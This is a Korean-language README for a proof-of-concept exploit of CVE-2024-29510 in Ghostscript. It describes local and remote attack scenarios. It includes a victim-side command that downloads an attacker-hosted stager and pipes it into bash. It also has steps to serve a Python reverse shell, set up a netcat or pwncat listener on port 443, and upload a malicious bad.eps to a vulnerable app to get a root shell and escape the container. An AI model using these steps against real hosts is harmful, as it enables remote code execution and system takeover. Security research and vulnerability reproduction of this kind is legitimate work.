원본 연구 및 POC 코드: https://codeanlabs.com/blog/research/cve-2024-29510-ghostscript-format-string-exploitation/
참고: 실행된 명령 외에는 POC를 변경하지 않았습니다. 모든 공로는 놀라운 연구와 POC를 제공한 Codean Labs의 Thomas Rinsma에게 있습니다.
로컬 시나리오
- 스테이저 스크립트로 래핑되어 호스트 취약 여부를 확인하는 체크 스크립트를 다운로드 및 실행
- POC가 Python3 리버스 셸을 다운로드 및 실행하도록 수정됨
- 스테이저와 리버스 셸이 STDIN을 통해 다운로드 및 실행됨
- POC는 /tmp에 임의의 이름으로 아티팩트를 남김
공격자 호스트에서:
- pwncat-cs 또는 netcat을 사용하여 443 포트용 리스너 생성
- 익스플로잇 디렉터리로 이동
- python3 -m http.server 80
피해자 호스트(Ubuntu 23.10, Ghostscript 10.01.2 실행)에서:
- 터미널을 열고 다음을 실행: export RHOST=''; wget -q http://$RHOST/run -O - | bash &
원격 시나리오(VulnApp)
- 다음 명령으로 VulnApp 빌드: 'docker build -t cve-2024-29510-demo:latest .' (Dockerfile 디렉터리에 https://github.com/ArtifexSoftware/ghostpdl-downloads/releases/download/gs10021/ghostscript-10.02.1.tar.gz 사본이 필요함)
- 다음 명령으로 VulnApp 실행: 'docker run --rm -p 5000:5000 cve-2024-29510-demo:latest'
- good.ps를 변환하여 기능 테스트. '>' 화살표를 그리는 선이 포함된 렌더링된 PDF를 반환해야 함
- shell.html을 호스팅하는 80 포트 웹 서버 설정(예: 'python3 -m http.server 80')
- pwncat-cs 또는 netcat을 사용하여 443 포트용 리스너 생성
- bad.eps 업로드, VulnApp이 멈추고 리스너가 컨테이너용 리버스 셸을 포착해야 함(root로 실행 중)
- 컨테이너 탈출!